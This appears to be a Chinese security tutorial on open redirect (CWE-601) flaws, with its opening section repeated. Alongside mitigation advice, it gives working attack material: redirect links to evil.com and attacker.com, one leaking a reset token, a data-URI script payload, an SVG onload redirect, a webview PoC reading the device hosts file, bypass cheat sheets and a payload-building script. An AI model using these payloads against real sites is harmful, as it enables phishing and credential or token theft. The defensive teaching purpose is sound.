注意:本文分享给安全从业人员、网站开发人员以及运维人员在日常工作防范恶意攻击,请勿恶意使用下面介绍技术进行非法攻击操作。。
[TOC]
0x00 前言介绍 描述: 开放式重定向(Open Redirect)漏洞,又称URL跳转漏洞,收录在CWE通用缺陷列表中,编号CWE-601,漏洞官网描述如下: Web应用程序接受用户控制的输入,该输入指定了指向外部站点的链接,并将其用于重定向过程,这导致了网络钓鱼攻击的发生。
简单的说: Redirect重定向漏洞就是利用网站正常的跳转来达到跳转攻击者指定恶意页面URL跳转以便进入下一阶段的攻击,注意该漏洞不但Web存在而且在APP中也是存在的;
Redirect漏洞危害:
网络钓鱼: 由于是从可信的站点跳转出去的,用户会比较信任,所以跳转漏洞一般用于钓鱼攻击,通过转到恶意网站欺骗用户输入用户名和密码盗取用户信息或欺骗用户进行金钱交易;
链接打开重定向
信息盗取,比如CORF
身份盗用,比如CSRF
SSRF(服务端请求伪造)
OAuth令牌信息披露
XSS
CRLF注入导致XSS漏洞;
0x01 重定向漏洞原理 描述: 服务端未对传入的跳转URL变量进行检查和控制,可能导致可恶意构造任意一个恶意地址诱导用户跳转到恶意网站;
URL跳转最典型的例子就是登录跳转,示例代码如下:
注意:本文分享给安全从业人员、网站开发人员以及运维人员在日常工作防范恶意攻击,请勿恶意使用下面介绍技术进行非法攻击操作。。
[TOC]
0x00 前言介绍 描述: 开放式重定向(Open Redirect)漏洞,又称URL跳转漏洞,收录在CWE通用缺陷列表中,编号CWE-601,漏洞官网描述如下: Web应用程序接受用户控制的输入,该输入指定了指向外部站点的链接,并将其用于重定向过程,这导致了网络钓鱼攻击的发生。
简单的说: Redirect重定向漏洞就是利用网站正常的跳转来达到跳转攻击者指定恶意页面URL跳转以便进入下一阶段的攻击,注意该漏洞不但Web存在而且在APP中也是存在的;
Redirect漏洞危害:
网络钓鱼: 由于是从可信的站点跳转出去的,用户会比较信任,所以跳转漏洞一般用于钓鱼攻击,通过转到恶意网站欺骗用户输入用户名和密码盗取用户信息或欺骗用户进行金钱交易;
链接打开重定向
信息盗取,比如CORF
身份盗用,比如CSRF
SSRF(服务端请求伪造)
OAuth令牌信息披露
XSS
CRLF注入导致XSS漏洞;
0x01 重定向漏洞原理 描述: 服务端未对传入的跳转URL变量进行检查和控制,可能导致可恶意构造任意一个恶意地址诱导用户跳转到恶意网站;
URL跳转最典型的例子就是登录跳转,示例代码如下:1 2 3 4 5 public void doRedirect (HttpServletRequest req, HttpServletResponse res) { String jumpURL=request.getParameter("jumptoURL" ); response.setHeader("Location" ,jumpURL); }
若程序未过滤jumptoURL参数,攻击者将如下恶意链接发给其他用户,安全意识较低的用户可能会认为该链接展现的内容是信任站点www.woo.org的内容,从而导致用户被欺诈。 1 http://www.woo.org/login.jsp?jumptoURL=http://www.evil.com
原理案例检测:在检测的同时可以修改参数中的合法URL为非法URL,然后查看是否能正常跳转或者通过抓包工具获取其HTTP响应头中Host的值是否包含了任意的构造URL。
如果是struts2重定向漏洞,则可通过web扫描工具扫描发现,或者在URL后添加?redirect:钓鱼链接进行验证。 如下两种方式展示了测试验证的过程:1 2 3 4 http://locahost/admin/login.action?redirect:http://diaoyu.com http://localhost/struts2-blank/example/x.action?action:%25{3*4}
如下图所示,则可以判断存在URL重定向漏洞
weiyigeek.top-
TIPS:
但是现在绝大部分的大网站都是不允许直接跳转网站的(常规的都有白名单),需要对其进行正则匹配测试因为有可能存在跳转的url的参数里面存在SSRF漏洞;
0x02 重定向利用 描述: 如何挖掘找到重定向漏洞测试入口点?
谷歌dorking:inurl:redirectUrl=http site:target.com
通常与重定向相关的功能:登录,注销,注册和密码重置页面和改变网站的语言,邮件中的链接
读取JavaScript代码找寻利用点(弹出警告框)
寻找常见Redirect parameters参数:Fuzz URL_Redirect Param
Burp代理历史& Burp站点地图(查看带有参数的url,搜索功能去寻找30X的响应码)
Burp Intruder & Burp Repeater
HTTP重定向状态码特征:1 2 3 4 5 6 7 8 9 * 300:多个选择 * 301:永久移动 * 302:发现跳转 * 303:看到其他 * 304:没有不修改 * 305:使用代理 * 307:临时重定向 * 308:永久重定向
weiyigeek.top-
案例1:重定向特殊案例 在进行某个网站测试的时候发现了一个重定向网站经过测试发现绕过十分有趣,所以对其进行分享;1 2 3 4 5 https://mall.m.xxxxxxx.com/jump.html?url=https://baidu.com https://mall.m.xxxxxxx.com/jump.html?url=https:/\weiyigeek.github.io
示例2:APP url Schema 描述:url跳转到webview安全问题 我们这次的漏洞我在手机上测试的时候发现利用APP url Schema是 xxxx://app/webview?url=xxxxxxx
,任意webview跳转已经构成漏洞;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 PoC: xxxx://app/webview?url=file:///system/etc/hosts #成功读取了手机的敏感host文件 #凸显危害进行恶意网站访问(嵌入js脚本)注意同源策略的影响 <html > <head > <title > test</title > </head > <script > var xmlHttp; function createXmlHttpRequestObject () { if (window .ActiveXObject){ try { xmlHttp=new ActiveXObject("Microsoft.XMLHTTP" ); }catch (e){ xmlHttp=false ; } }else { try { xmlHttp=new XMLHttpRequest(); }catch (e){ xmlHttp=false ; } } if (!xmlHttp) alert("error" ); else return xmlHttp; } function ReqHtml () { createXmlHttpRequestObject(); path='file://' path1='/system/etc/hosts' xmlHttp.onreadystatechange=StatHandler; xmlHttp.open("GET" ,path+path1,false ); xmlHttp.send(null ) alert(1) } function StatHandler () { if (xmlHttp.readyState==4 && xmlHttp.status==200 ){ document .getElementById("webpage" ).innerHTML=xmlHttp.responseText; alert(xmlHttp.responseText) } } ReqHtml() StatHandler() </script > <body > <div id ="webpage" > </div > </body > </html >
示例3.挖SRC的一些思路 描述:某src的一些存在重定向正常的跳转地址但是对登陆处做了白名单限制:如1 2 3 4 5 6 7 8 9 10 11 https://xxx.com/login?service=http://www.qq.com https://xxx.com/logout ?service=http://www.qq.com https://meituan.cn/home/nxLogout?redirect_url=http://meituan.com~www.jd.com - 得到了一个用户token,形成三处组合思路最后一个(用户登陆凭证劫持)利用前面三处漏洞组合
weiyigeek.top-
示例4:重定向夹杂敏感信息 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 Http://localhost:5000/password_reset?token=xsadasdadasdsa&next=//attacker.com http://localhost:8069/web/login?redirect=data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4= http://localhost:8069/web/login?redirect=data:text/html;text,<script>alert(Hello)</script> http://localhost:8069/web/session/logout ?redirect=https%3a%2f%2fsysdream.com%2f 思路原理:利用上传的含有恶意代码的svg头像; <code> <?xml version="1.0" encoding="UTF-8" standalone="yes" ?> <svg onload="window.location='http://www.example.com'" xmlns="http://www.w3.org/2000/svg" > </svg> </code> https://slack.com/checkcookie?redir=https://files.slack.com/files-pri/T0E7QLVLL-F0G41EG2W/redirect.svg?pub_secret=7a6caed489
weiyigeek.top-
0x03 重定向ByPass 描述:以下是一些常用重定向ByPass的方法(思路重要),但最对待任何漏洞核心思想都差不了fuzzing;
@ 绕过
用了浏览器的特性: http://127.0.0.1@baidu.com
说明:Google和其他浏览器直接跳转百度,只有Firefox进行提示(确定后跳转)1 2 3 4 5 http:/\/baidu.com http:\//baidu.com /\/baidu.com http:\\\//baidu.com
? 问号绕过
可以使用页面Referer作为后缀: https://baidu.com/?weiyigeek.com
# 锚点绕过
利用#会被浏览器解释成HTML中的锚点: http://127.0.0.1/#baidu.com
xip.io 绕过
: http://www.baidu.com.127.0.0.1.xip.io/
说明: 这样之后会访问127.0.0.1在公网上运行自定义的dns服务器,用他的服务器提取IP地址,在响应中将他取回
weiyigeek.top-
\ 反斜杠绕过
: https://maxx.com/jump.html?url=https:/\baidu.com
IP绕过
:把目标的URL修改成IP地址(如何过滤了.
号请使用十进制符号的IPv4地址),这样也有可能绕过waf的拦截(IP地址转换:http://www.geektools.com/geektools-cgi/ipconv.cgi )
HPP参数污染绕过
:构造相同的参数两次?next=whitelisted.com&next=google.com
编码绕过
:尝试使用双url和三url编码的有效负载版本
使用 /U+e280 Right to Left Override (RTLO在重定向页面上欺骗域): https://whitelisted.com%40%E2%80%AE@moc.elgoog
其中%40%E2%80%AE
== @;
特殊字符绕过
:尝试使用不同的符号重定向到IP地址(而不是域):IPv6,IPv4(十进制,十六进制或八进制)
利用XSS漏洞绕过
:对于XSS尝试将alert(1)替换为 prompt(1) & confirm(1),尝试重定向它的子域上面 target.com/?redirect_url=xss.target.com
文件后缀绕过
:如果选中扩展名为.jpg图片跳转可使用这种方式绕过 image_url={payload}/.jpg
URL_Redirect特殊字符绕过备忘录 描述:注意URL的白名单限制如果做的好的话真的很难绕过这时就需要与参数结合之后有可能完成绝杀; 使用方法使用burpsuite进行Request请求如下/xxx?Parameter_Payload={URL_payload}
(更多的请看FUZZ字典 UrlRedirect-ByPass.txt)1 2 3 4 5 6 7 8 9 10 11 12 13 14 ?url=https://allow_domain.weiyigeek.com ?url=https://allow_domain@weiyigeek.com ?url=https://www.weiyigeek.com ?url=https://www.weiyigeek.com?allow_domain ?url=https://www.weiyigeek.com\allow_domain ?url=https://www.weiyigeek.com&allow_domain ?url=http:///////////www.weiyigeek.com ?url=http:\\www.weiyigeek.com ?url=http:\/\/www.weiyigeek.com ?url=https://www.weiyigeek.com%40%E2%80%AEallow_domain ?url=https://google.com@"twitter.com ?url=https://google.com@'twitter.com ?url=https://google.com@/twitter.com
0x04 安全防御 1.若跳转的URL事先是可以确定的,包括URL和参数的值,则可以在后台先配置好,URL参数只需传对应URL的索引即可,通过索引找到对应具体URL再进行跳转; 2.若跳转的URL事先不确定,但其输入是由后台生成的(不是用户通过参数传人),则可以先生成好跳转链接然后进行签名,而跳转首先需要进行验证签名通过才能进行跳转; 3.若1和2都不满足,URL事先无法确定,只能通过前端参数传入,则必须在跳转的时候对URL进行规则校验:即校验URL是否是授权的白名单或者是符合规则的URL,参考代码示例如下。1 2 3 4 function checkURL (sURL) {return (/^(https?:\/\/)?[\w\-.]+\.(yourDomainA|yourDomainB|yourDomainC)\.com($|\/|\\)/i).test (sUrl)||(/^[\w][\w\/\.\-_%]+$/i).test (sUrl)||(/^[\/\\][^\/\\]/i).test (sUrl) ? true : false ; }
4.通过对Referer的限制:如果确定传递URL参数进入的来源,我们可以通过该方式实现安全限制,保证该URL的有效性,避免恶意用户自己生成跳转链接; 5.加入有效性验证Token:保证所有生成的链接都是来自于可信域的,通过在生成的链接里加入用户不可控的Token对生成的链接进行校验,可以避免用户生成自己的恶意链接从而被利用,在跳转时做判断,指定跳转的值。当用户访问需要跳转URL的页面时,生成随机token,并保存到Cookie中,后台应用程序在跳转前,判断token是否和cookie中的token一致。 6.理论上讲,URL跳转属于CSRF的一种,跳转URL检测中也加入了CRLF头部注入漏洞的检测逻辑, 具体就是在请求参数中加入了%0d%0a这种测试代码,需要对这些参数进行删除处理; 7.如果为Struts2重定向漏洞,则需要更新相关的struts2的版本到最新。
0x05 补充附录 1) URL_Redirect Parameter 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 action=https://weiyigeek.github.io action_url=https://weiyigeek.github.io allinurl:https://weiyigeek.github.io backurl=https://weiyigeek.github.io burl=https://weiyigeek.github.io callback_url=https://weiyigeek.github.io /cgi-bin/redirect.cgi?https://weiyigeek.github.io checkout_url=https://weiyigeek.github.io click?u=https://weiyigeek.github.io clickurl=https://weiyigeek.github.io continue =https://weiyigeek.github.iodata=https://weiyigeek.github.io dest=https://weiyigeek.github.io destination=https://weiyigeek.github.io desturl=https://weiyigeek.github.io ext=https://weiyigeek.github.io forward=https://weiyigeek.github.io forward_url=https://weiyigeek.github.io go=https://weiyigeek.github.io goto=https://weiyigeek.github.io /https://weiyigeek.github.io @https://weiyigeek.github.io image_url=https://weiyigeek.github.io jump=https://weiyigeek.github.io jump_url=https://weiyigeek.github.io j?url=https://weiyigeek.github.io linkAddress=https://weiyigeek.github.io link=https://weiyigeek.github.io location=https://weiyigeek.github.io login=https://weiyigeek.github.io /login?to=https://weiyigeek.github.io logout =https://weiyigeek.github.ionext=https://weiyigeek.github.io origin=https://weiyigeek.github.io originUrl=https://weiyigeek.github.io /out?https://weiyigeek.github.io /out/https://weiyigeek.github.io page=https://weiyigeek.github.io pic=https://weiyigeek.github.io q=https://weiyigeek.github.io qurl=https://weiyigeek.github.io recurl=https://weiyigeek.github.io /redirect/https://weiyigeek.github.io redirect=https://weiyigeek.github.io Redirect=https://weiyigeek.github.io redirect_uri=https://weiyigeek.github.io redirect_url=https://weiyigeek.github.io RedirectUrl=https://weiyigeek.github.io redir=https://weiyigeek.github.io request=https://weiyigeek.github.io return =https://weiyigeek.github.ioreturn_path=https://weiyigeek.github.io return_to=https://weiyigeek.github.io returnTo=https://weiyigeek.github.io ReturnUrl=https://weiyigeek.github.io rit_url=https://weiyigeek.github.io rurl=https://weiyigeek.github.io service=https://weiyigeek.github.io sp_url=https://weiyigeek.github.io src=https://weiyigeek.github.io success=https://weiyigeek.github.io target=https://weiyigeek.github.io tc?src=https://weiyigeek.github.io u1=https://weiyigeek.github.io u=https://weiyigeek.github.io uri=https://weiyigeek.github.io url=//https://weiyigeek.github.io url=https://weiyigeek.github.io Url=https://weiyigeek.github.io view=https://weiyigeek.github.io
补充:1 2 redirect:https://weiyigeek.github.io
基础元字符字典Bypass-Payload:1 2 3 4 5 6 7 8 9 List: ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ - ~ ? %
2)URL_Redirect byPass
Payload参考:https://github.com/cujanovic/Open-Redirect-Payloads/blob/master/Open-Redirect-payloads.txt 1 WHITELISTEDDOMAIN="www.test.com" && sed 's/www.whitelisteddomain.tld/' "$WHITELISTEDDOMAIN " '/' Open-Redirect-payloads.txt > Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN " .tmp && sed 's/@www.whitelisteddomain.tld/@' "$WHITELISTEDDOMAIN " '/' Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN " .tmp > Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN " .txt && echo "$WHITELISTEDDOMAIN " | awk -F. '{if ($1 =="www") print "//not"$2"."$NF"/"; else print "//not"$1"."$NF"/";}' >> Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN " .txt && echo "$WHITELISTEDDOMAIN " | awk -F. '{if ($1 =="www") print "http://not"$2"."$NF"/"; else print "http://not"$1"."$NF"/";}' >> Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN " .txt && echo "$WHITELISTEDDOMAIN " | awk -F. '{print "http://"$0"."$NF"/"}' >> Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN " .txt && rm -f Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN " .tmp && echo -e "\nDone. Filename: $(pwd) /Open-Redirect-payloads-burp-" $WHITELISTEDDOMAIN ".txt"
weiyigeek.top-
3) 参考网站